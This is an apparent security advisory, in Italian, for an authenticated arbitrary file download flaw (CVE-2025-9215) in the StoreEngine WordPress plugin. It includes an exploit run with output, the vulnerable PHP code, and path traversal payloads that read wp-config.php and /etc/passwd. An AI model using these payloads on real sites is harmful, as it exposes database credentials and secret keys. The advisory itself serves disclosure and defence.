
StoreEngine – Potente Plugin WordPress eCommerce per Pagamenti, Abbonamenti, Affiliati, Vendite e Altro <= 1.4.0 - Autenticato (Subscriber+) Scaricamento Arbitrario di File
Il plugin StoreEngine contiene una vulnerabilità nella sua funzionalità di Import/Export CSV che consente a qualsiasi utente autenticato (subscriber, author, editor, ecc.) di scaricare file arbitrari dal server, inclusi file di sistema sensibili, file di configurazione di WordPress e codice sorgente del plugin. La vulnerabilità deriva dall'endpoint storeengine_csv/file_download che manca di una corretta sanitizzazione del percorso e si basa solo sulla verifica del nonce per la sicurezza, mentre storeengine_nonce è esposto a TUTTI gli utenti frontend tramite il JavaScript del plugin. Nota: Questa vulnerabilità richiede che l'addon CSV Import/Export sia abilitato da un amministratore. Una volta abilitato, questa combinazione consente a qualsiasi utente autenticato di estrarre il nonce dalle pagine frontend e usarlo per scaricare qualsiasi file sul server tramite attacchi di path traversal, concedendo effettivamente agli utenti con ruolo subscriber+ l'accesso a file sensibili di sistema e dell'applicazione.
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).
Downloading wp-config.php via path traversal...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
Nota: Questa vulnerabilità richiede che l'addon CSV Import/Export sia abilitato da un amministratore. L'endpoint di attivazione dell'addon (storeengine/saved_addon_status) richiede la capacità manage_options, il che significa che solo gli amministratori possono abilitare questa funzionalità.
L'azione AJAX storeengine_csv/file_download chiama la funzione file_download() alla riga 47 di /wp-content/plugins/storeengine/addons/csv/ajax/export.php, che manca di una corretta sanitizzazione del percorso e consente il download arbitrario di file:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNERABLE TO PATH TRAVERSAL!
// NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
// NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- READS AND OUTPUTS ANY FILE!
exit;
}
La costruzione del percorso vulnerabile consente un path traversal completo:
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
Il storeengine_nonce è esposto a TUTTI gli utenti frontend tramite il JavaScript del plugin. Ciò avviene nel metodo _get_script_data() alla riga 279 di /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
Questo nonce viene quindi localizzato nel JavaScript del frontend tramite il metodo frontend_scripts() alla riga 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
Il nonce viene verificato nel metodo AbstractRequestHandler::check_permission() alla riga 510 di /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
Questa combinazione consente a qualsiasi utente autenticato di bypassare la protezione CSRF e scaricare qualsiasi file sul server, inclusi file di configurazione sensibili, codice sorgente e potenzialmente file di sistema.
/wp-admin/admin-ajax.php che chiama l'azione storeengine_csv/file_download.filename=../../../../wp-config.php per scaricare il file di configurazione di WordPress.